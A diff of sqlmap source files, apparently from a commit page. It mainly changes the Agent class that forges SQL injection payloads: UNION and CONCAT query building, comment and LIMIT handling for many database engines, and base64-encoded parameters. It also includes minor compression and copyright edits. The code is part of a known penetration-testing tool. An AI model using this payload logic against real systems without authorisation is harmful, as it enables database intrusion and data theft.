@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
@@ -13,6 +13,7 @@ from lib.core.common import filterNone
|
||||
from lib.core.common import getSQLSnippet
|
||||
from lib.core.common import getTechnique
|
||||
from lib.core.common import getTechniqueData
|
||||
from lib.core.common import hashDBRetrieve
|
||||
from lib.core.common import isDBMSVersionAtLeast
|
||||
from lib.core.common import isNumber
|
||||
from lib.core.common import isTechniqueAvailable
|
||||
@@ -34,6 +35,8 @@ from lib.core.data import queries
|
||||
from lib.core.dicts import DUMP_DATA_PREPROCESS
|
||||
from lib.core.dicts import FROM_DUMMY_TABLE
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.enums import FORK
|
||||
from lib.core.enums import HASHDB_KEYS
|
||||
from lib.core.enums import HTTP_HEADER
|
||||
from lib.core.enums import PAYLOAD
|
||||
from lib.core.enums import PLACE
|
||||
@@ -44,6 +47,7 @@ from lib.core.settings import BOUNDED_INJECTION_MARKER
|
||||
from lib.core.settings import DEFAULT_COOKIE_DELIMITER
|
||||
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
|
||||
from lib.core.settings import GENERIC_SQL_COMMENT
|
||||
from lib.core.settings import GENERIC_SQL_COMMENT_MARKER
|
||||
from lib.core.settings import INFERENCE_MARKER
|
||||
from lib.core.settings import NULL
|
||||
from lib.core.settings import PAYLOAD_DELIMITER
|
||||
@@ -106,6 +110,7 @@ class Agent(object):
|
||||
paramDict = conf.paramDict[place]
|
||||
origValue = getUnicode(paramDict[parameter])
|
||||
newValue = getUnicode(newValue) if newValue else newValue
|
||||
base64Encoding = re.sub(r" \(.+", "", parameter) in conf.base64Parameter
|
||||
|
||||
if place == PLACE.URI or BOUNDED_INJECTION_MARKER in origValue:
|
||||
paramString = origValue
|
||||
@@ -121,7 +126,7 @@ class Agent(object):
|
||||
paramString = origValue
|
||||
origValue = origValue.split(kb.customInjectionMark)[0]
|
||||
if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
|
||||
origValue = origValue.split('>')[-1]
|
||||
origValue = re.split(r"['\">]", origValue)[-1]
|
||||
elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE):
|
||||
origValue = extractRegexResult(r"(?s)\"\s*:\s*(?P<result>\d+\Z)", origValue) or extractRegexResult(r'(?s)[\s:]*(?P<result>[^"\[,]+\Z)', origValue)
|
||||
else:
|
||||
@@ -167,24 +172,43 @@ class Agent(object):
|
||||
|
||||
newValue = "%s%s" % (value, newValue)
|
||||
|
||||
newValue = self.cleanupPayload(newValue, origValue)
|
||||
newValue = self.cleanupPayload(newValue, origValue) or ""
|
||||
|
||||
if base64Encoding:
|
||||
_newValue = newValue
|
||||
_origValue = origValue
|
||||
|
||||
if newValue:
|
||||
newValue = newValue.replace(BOUNDARY_BACKSLASH_MARKER, '\\')
|
||||
newValue = self.adjustLateValues(newValue)
|
||||
|
||||
if re.sub(r" \(.+", "", parameter) in conf.base64Parameter:
|
||||
# TODO: support for POST_HINT
|
||||
newValue = encodeBase64(newValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
|
||||
origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
|
||||
|
||||
if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
|
||||
_ = "%s%s" % (origValue, kb.customInjectionMark)
|
||||
|
||||
if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and '"%s"' % _ not in paramString:
|
||||
newValue = '"%s"' % newValue
|
||||
newValue = '"%s"' % self.addPayloadDelimiters(newValue)
|
||||
elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and "'%s'" % _ not in paramString:
|
||||
newValue = "'%s'" % newValue
|
||||
newValue = newValue.replace(kb.customInjectionMark, REPLACEMENT_MARKER)
|
||||
retVal = paramString.replace(_, self.addPayloadDelimiters(newValue))
|
||||
newValue = "'%s'" % self.addPayloadDelimiters(newValue)
|
||||
else:
|
||||
newValue = self.addPayloadDelimiters(newValue)
|
||||
|
||||
if newValue:
|
||||
newValue = newValue.replace(kb.customInjectionMark, REPLACEMENT_MARKER)
|
||||
retVal = paramString.replace(_, newValue)
|
||||
|
||||
retVal = retVal.replace(kb.customInjectionMark, "").replace(REPLACEMENT_MARKER, kb.customInjectionMark)
|
||||
elif BOUNDED_INJECTION_MARKER in paramDict[parameter]:
|
||||
retVal = paramString.replace("%s%s" % (origValue, BOUNDED_INJECTION_MARKER), self.addPayloadDelimiters(newValue))
|
||||
if base64Encoding:
|
||||
retVal = paramString.replace("%s%s" % (_origValue, BOUNDED_INJECTION_MARKER), _newValue)
|
||||
match = re.search(r"(%s)=([^&]*)" % re.sub(r" \(.+", "", parameter), retVal)
|
||||
if match:
|
||||
retVal = retVal.replace(match.group(0), "%s=%s" % (match.group(1), encodeBase64(match.group(2), binary=False, encoding=conf.encoding or UNICODE_ENCODING)))
|
||||
else:
|
||||
retVal = paramString.replace("%s%s" % (origValue, BOUNDED_INJECTION_MARKER), self.addPayloadDelimiters(newValue))
|
||||
elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
|
||||
retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue))
|
||||
else:
|
||||
@@ -243,7 +267,7 @@ class Agent(object):
|
||||
|
||||
# If we are replacing (<where>) the parameter original value with
|
||||
# our payload do not prepend with the prefix
|
||||
if where == PAYLOAD.WHERE.REPLACE:
|
||||
if where == PAYLOAD.WHERE.REPLACE and not conf.prefix: # Note: https://github.com/sqlmapproject/sqlmap/issues/4030
|
||||
query = ""
|
||||
|
||||
# If the technique is stacked queries (<stype>) do not put a space
|
||||
@@ -290,8 +314,9 @@ class Agent(object):
|
||||
where = getTechniqueData().where if where is None else where
|
||||
comment = getTechniqueData().comment if comment is None else comment
|
||||
|
||||
if Backend.getIdentifiedDbms() == DBMS.ACCESS and any((comment or "").startswith(_) for _ in ("--", "[GENERIC_SQL_COMMENT]")):
|
||||
comment = queries[DBMS.ACCESS].comment.query
|
||||
if any((comment or "").startswith(_) for _ in ("--", GENERIC_SQL_COMMENT_MARKER)):
|
||||
if Backend.getIdentifiedDbms() and not GENERIC_SQL_COMMENT.startswith(queries[Backend.getIdentifiedDbms()].comment.query):
|
||||
comment = queries[Backend.getIdentifiedDbms()].comment.query
|
||||
|
||||
if comment is not None:
|
||||
expression += comment
|
||||
@@ -377,6 +402,11 @@ class Agent(object):
|
||||
for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)):
|
||||
payload = payload.replace(_, randomStr())
|
||||
|
||||
if hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) in (FORK.MEMSQL, FORK.TIDB, FORK.DRIZZLE):
|
||||
payload = re.sub(r"(?i)\bORD\(", "ASCII(", payload)
|
||||
payload = re.sub(r"(?i)\bMID\(", "SUBSTR(", payload)
|
||||
payload = re.sub(r"(?i)\bNCHAR\b", "CHAR", payload)
|
||||
|
||||
return payload
|
||||
|
||||
def getComment(self, request):
|
||||
@@ -394,7 +424,7 @@ class Agent(object):
|
||||
rootQuery = queries[Backend.getIdentifiedDbms()]
|
||||
hexField = field
|
||||
|
||||
if "hex" in rootQuery:
|
||||
if "hex" in rootQuery and hasattr(rootQuery.hex, "query"):
|
||||
hexField = rootQuery.hex.query % field
|
||||
else:
|
||||
warnMsg = "switch '--hex' is currently not supported on DBMS '%s'" % Backend.getIdentifiedDbms()
|
||||
@@ -434,7 +464,7 @@ class Agent(object):
|
||||
|
||||
nulledCastedField = field
|
||||
|
||||
if field:
|
||||
if field and Backend.getIdentifiedDbms():
|
||||
rootQuery = queries[Backend.getIdentifiedDbms()]
|
||||
|
||||
if field.startswith("(CASE") or field.startswith("(IIF") or conf.noCast:
|
||||
@@ -442,12 +472,12 @@ class Agent(object):
|
||||
else:
|
||||
if not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')):
|
||||
nulledCastedField = rootQuery.cast.query % field
|
||||
if Backend.getIdentifiedDbms() in (DBMS.ACCESS,):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI):
|
||||
nulledCastedField = rootQuery.isnull.query % (nulledCastedField, nulledCastedField)
|
||||
else:
|
||||
nulledCastedField = rootQuery.isnull.query % nulledCastedField
|
||||
|
||||
kb.binaryField = conf.binaryFields and field in conf.binaryFields.split(',')
|
||||
kb.binaryField = conf.binaryFields and field in conf.binaryFields
|
||||
if conf.hexConvert or kb.binaryField:
|
||||
nulledCastedField = self.hexConvertField(nulledCastedField)
|
||||
|
||||
@@ -519,7 +549,7 @@ class Agent(object):
|
||||
"""
|
||||
|
||||
prefixRegex = r"(?:\s+(?:FIRST|SKIP|LIMIT(?: \d+)?)\s+\d+)*"
|
||||
fieldsSelectTop = re.search(r"\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I)
|
||||
fieldsSelectTop = re.search(r"\ASELECT\s+TOP(\s+[\d]|\s*\([^)]+\))\s+(.+?)\s+FROM", query, re.I)
|
||||
fieldsSelectRownum = re.search(r"\ASELECT\s+([^()]+?),\s*ROWNUM AS LIMIT FROM", query, re.I)
|
||||
fieldsSelectDistinct = re.search(r"\ASELECT%s\s+DISTINCT\((.+?)\)\s+FROM" % prefixRegex, query, re.I)
|
||||
fieldsSelectCase = re.search(r"\ASELECT%s\s+(\(CASE WHEN\s+.+\s+END\))" % prefixRegex, query, re.I)
|
||||
@@ -544,7 +574,7 @@ class Agent(object):
|
||||
if fieldsSelect:
|
||||
fieldsToCastStr = fieldsSelect.group(1)
|
||||
elif fieldsSelectTop:
|
||||
fieldsToCastStr = fieldsSelectTop.group(1)
|
||||
fieldsToCastStr = fieldsSelectTop.group(2)
|
||||
elif fieldsSelectRownum:
|
||||
fieldsToCastStr = fieldsSelectRownum.group(1)
|
||||
elif fieldsSelectDistinct:
|
||||
@@ -644,7 +674,7 @@ class Agent(object):
|
||||
elif fieldsNoSelect:
|
||||
concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
|
||||
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2):
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE):
|
||||
if fieldsExists:
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
|
||||
concatenatedQuery += "||'%s'" % kb.chars.stop
|
||||
@@ -667,8 +697,8 @@ class Agent(object):
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
|
||||
concatenatedQuery += "+'%s'" % kb.chars.stop
|
||||
elif fieldsSelectTop:
|
||||
topNum = re.search(r"\ASELECT\s+TOP\s+([\d]+)\s+", concatenatedQuery, re.I).group(1)
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT TOP %s " % topNum, "TOP %s '%s'+" % (topNum, kb.chars.start), 1)
|
||||
topNum = re.search(r"\ASELECT\s+TOP(\s+[\d]|\s*\([^)]+\))\s+", concatenatedQuery, re.I).group(1)
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT TOP%s " % topNum, "TOP%s '%s'+" % (topNum, kb.chars.start), 1)
|
||||
concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % kb.chars.stop, 1)
|
||||
elif fieldsSelectCase:
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
|
||||
@@ -704,21 +734,43 @@ class Agent(object):
|
||||
warnMsg = "applying generic concatenation (CONCAT)"
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
|
||||
if FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms()):
|
||||
_ = re.sub(r"(?i)%s\Z" % re.escape(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]), "", concatenatedQuery)
|
||||
if _ != concatenatedQuery:
|
||||
concatenatedQuery = _
|
||||
fieldsSelectFrom = None
|
||||
|
||||
if fieldsExists:
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
|
||||
concatenatedQuery += "),'%s')" % kb.chars.stop
|
||||
elif fieldsSelectCase:
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
|
||||
concatenatedQuery += "),'%s')" % kb.chars.stop
|
||||
elif fieldsSelectFrom:
|
||||
elif fieldsSelectFrom or fieldsSelect:
|
||||
fromTable = ""
|
||||
|
||||
_ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
|
||||
concatenatedQuery = "%s),'%s')%s" % (concatenatedQuery[:_].replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1), kb.chars.stop, concatenatedQuery[_:])
|
||||
if _:
|
||||
concatenatedQuery, fromTable = concatenatedQuery[:_], concatenatedQuery[_:]
|
||||
|
||||
concatenatedQuery = re.sub(r"(?i)\ASELECT ", "", concatenatedQuery)
|
||||
replacement = "'%s',%s,'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
|
||||
chars = [_ for _ in replacement]
|
||||
|
||||
count = 0
|
||||
for index in zeroDepthSearch(replacement, ',')[1:]:
|
||||
chars[index] = "),"
|
||||
count += 1
|
||||
|
||||
replacement = "CONCAT(%s%s)" % ("CONCAT(" * count, "".join(chars))
|
||||
concatenatedQuery = "%s%s" % (replacement, fromTable)
|
||||
elif fieldsSelect:
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
|
||||
concatenatedQuery += "),'%s')" % kb.chars.stop
|
||||
elif fieldsNoSelect:
|
||||
concatenatedQuery = "CONCAT(CONCAT('%s',%s),'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
|
||||
|
||||
|
||||
return concatenatedQuery
|
||||
|
||||
def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None):
|
||||
@@ -933,10 +985,33 @@ class Agent(object):
|
||||
fromFrom = limitedQuery[fromIndex + 1:]
|
||||
orderBy = None
|
||||
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CUBRID, DBMS.EXTREMEDB):
|
||||
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
|
||||
limitedQuery += " %s" % limitStr
|
||||
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE,):
|
||||
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, 1)
|
||||
limitedQuery += " %s" % limitStr
|
||||
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.DERBY, DBMS.CRATEDB):
|
||||
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num)
|
||||
limitedQuery += " %s" % limitStr
|
||||
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.FRONTBASE,):
|
||||
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
|
||||
if query.startswith("SELECT "):
|
||||
limitedQuery = query.replace("SELECT ", "SELECT %s " % limitStr, 1)
|
||||
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.MONETDB,):
|
||||
if query.startswith("SELECT ") and field is not None and field in query:
|
||||
original = query.split("SELECT ", 1)[1].split(" FROM", 1)[0]
|
||||
for part in original.split(','):
|
||||
if re.search(r"\b%s\b" % re.escape(field), part):
|
||||
_ = re.sub(r"SELECT.+?FROM", "SELECT %s AS z,row_number() over() AS y FROM" % part, query, 1)
|
||||
replacement = "SELECT x.z FROM (%s)x WHERE x.y-1=%d" % (_, num)
|
||||
limitedQuery = replacement
|
||||
break
|
||||
|
||||
elif Backend.isDbms(DBMS.HSQLDB):
|
||||
match = re.search(r"ORDER BY [^ ]+", limitedQuery)
|
||||
if match:
|
||||
@@ -955,6 +1030,15 @@ class Agent(object):
|
||||
if match:
|
||||
orderBy = " ORDER BY %s" % match.group(1)
|
||||
|
||||
elif Backend.isDbms(DBMS.CACHE):
|
||||
match = re.search(r"ORDER BY ([^ ]+)\Z", limitedQuery)
|
||||
if match:
|
||||
limitedQuery = re.sub(r"\s*%s\s*" % re.escape(match.group(0)), " ", limitedQuery).strip()
|
||||
orderBy = " %s" % match.group(0)
|
||||
field = match.group(1)
|
||||
|
||||
limitedQuery = queries[Backend.getIdentifiedDbms()].limit.query % (1, field, limitedQuery, num)
|
||||
|
||||
elif Backend.isDbms(DBMS.FIREBIRD):
|
||||
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, num + 1)
|
||||
limitedQuery += " %s" % limitStr
|
||||
@@ -1032,12 +1116,15 @@ class Agent(object):
|
||||
def forgeQueryOutputLength(self, expression):
|
||||
lengthQuery = queries[Backend.getIdentifiedDbms()].length.query
|
||||
select = re.search(r"\ASELECT\s+", expression, re.I)
|
||||
selectFrom = re.search(r"\ASELECT\s+(.+)\s+FROM\s+(.+)", expression, re.I)
|
||||
selectTopExpr = re.search(r"\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I)
|
||||
selectMinMaxExpr = re.search(r"\ASELECT\s+(MIN|MAX)\(.+?\)\s+FROM", expression, re.I)
|
||||
|
||||
_, _, _, _, _, _, fieldsStr, _ = self.getFields(expression)
|
||||
|
||||
if selectTopExpr or selectMinMaxExpr:
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MCKOI,) and selectFrom:
|
||||
lengthExpr = "SELECT %s FROM %s" % (lengthQuery % selectFrom.group(1), selectFrom.group(2))
|
||||
elif selectTopExpr or selectMinMaxExpr:
|
||||
lengthExpr = lengthQuery % ("(%s)" % expression)
|
||||
elif select:
|
||||
lengthExpr = expression.replace(fieldsStr, lengthQuery % fieldsStr, 1)
|
||||
@@ -1111,7 +1198,12 @@ class Agent(object):
|
||||
|
||||
def whereQuery(self, query):
|
||||
if conf.dumpWhere and query:
|
||||
prefix, suffix = query.split(" ORDER BY ") if " ORDER BY " in query else (query, "")
|
||||
match = re.search(r" (LIMIT|ORDER).+", query, re.I)
|
||||
if match:
|
||||
suffix = match.group(0)
|
||||
prefix = query[:-len(suffix)]
|
||||
else:
|
||||
prefix, suffix = query, ""
|
||||
|
||||
if conf.tbl and "%s)" % conf.tbl.upper() in prefix.upper():
|
||||
prefix = re.sub(r"(?i)%s\)" % re.escape(conf.tbl), "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix)
|
||||
@@ -1120,7 +1212,9 @@ class Agent(object):
|
||||
else:
|
||||
prefix += " WHERE %s" % conf.dumpWhere
|
||||
|
||||
query = "%s ORDER BY %s" % (prefix, suffix) if suffix else prefix
|
||||
query = prefix
|
||||
if suffix:
|
||||
query += suffix
|
||||
|
||||
return query
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
@@ -10,11 +10,11 @@ try:
|
||||
except:
|
||||
import pickle
|
||||
|
||||
import bz2
|
||||
import itertools
|
||||
import os
|
||||
import sys
|
||||
import tempfile
|
||||
import zlib
|
||||
|
||||
from lib.core.compat import xrange
|
||||
from lib.core.enums import MKSTEMP_PREFIX
|
||||
@@ -24,17 +24,17 @@ from lib.core.settings import BIGARRAY_COMPRESS_LEVEL
|
||||
|
||||
DEFAULT_SIZE_OF = sys.getsizeof(object())
|
||||
|
||||
def _size_of(object_):
|
||||
def _size_of(instance):
|
||||
"""
|
||||
Returns total size of a given object_ (in bytes)
|
||||
Returns total size of a given instance / object (in bytes)
|
||||
"""
|
||||
|
||||
retval = sys.getsizeof(object_, DEFAULT_SIZE_OF)
|
||||
retval = sys.getsizeof(instance, DEFAULT_SIZE_OF)
|
||||
|
||||
if isinstance(object_, dict):
|
||||
retval += sum(_size_of(_) for _ in itertools.chain.from_iterable(object_.items()))
|
||||
elif hasattr(object_, "__iter__"):
|
||||
retval += sum(_size_of(_) for _ in object_ if _ != object_)
|
||||
if isinstance(instance, dict):
|
||||
retval += sum(_size_of(_) for _ in itertools.chain.from_iterable(instance.items()))
|
||||
elif hasattr(instance, "__iter__"):
|
||||
retval += sum(_size_of(_) for _ in instance if _ != instance)
|
||||
|
||||
return retval
|
||||
|
||||
@@ -54,8 +54,8 @@ class BigArray(list):
|
||||
|
||||
>>> _ = BigArray(xrange(100000))
|
||||
>>> _[20] = 0
|
||||
>>> _[100]
|
||||
100
|
||||
>>> _[99999]
|
||||
99999
|
||||
"""
|
||||
|
||||
def __init__(self, items=None):
|
||||
@@ -92,7 +92,7 @@ class BigArray(list):
|
||||
self.chunks.pop()
|
||||
try:
|
||||
with open(self.chunks[-1], "rb") as f:
|
||||
self.chunks[-1] = pickle.loads(bz2.decompress(f.read()))
|
||||
self.chunks[-1] = pickle.loads(zlib.decompress(f.read()))
|
||||
except IOError as ex:
|
||||
errMsg = "exception occurred while retrieving data "
|
||||
errMsg += "from a temporary file ('%s')" % ex
|
||||
@@ -113,7 +113,7 @@ class BigArray(list):
|
||||
self.filenames.add(filename)
|
||||
os.close(handle)
|
||||
with open(filename, "w+b") as f:
|
||||
f.write(bz2.compress(pickle.dumps(chunk, pickle.HIGHEST_PROTOCOL), BIGARRAY_COMPRESS_LEVEL))
|
||||
f.write(zlib.compress(pickle.dumps(chunk, pickle.HIGHEST_PROTOCOL), BIGARRAY_COMPRESS_LEVEL))
|
||||
return filename
|
||||
except (OSError, IOError) as ex:
|
||||
errMsg = "exception occurred while storing data "
|
||||
@@ -131,7 +131,7 @@ class BigArray(list):
|
||||
if not (self.cache and self.cache.index == index):
|
||||
try:
|
||||
with open(self.chunks[index], "rb") as f:
|
||||
self.cache = Cache(index, pickle.loads(bz2.decompress(f.read())), False)
|
||||
self.cache = Cache(index, pickle.loads(zlib.decompress(f.read())), False)
|
||||
except Exception as ex:
|
||||
errMsg = "exception occurred while retrieving data "
|
||||
errMsg += "from a temporary file ('%s')" % ex
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user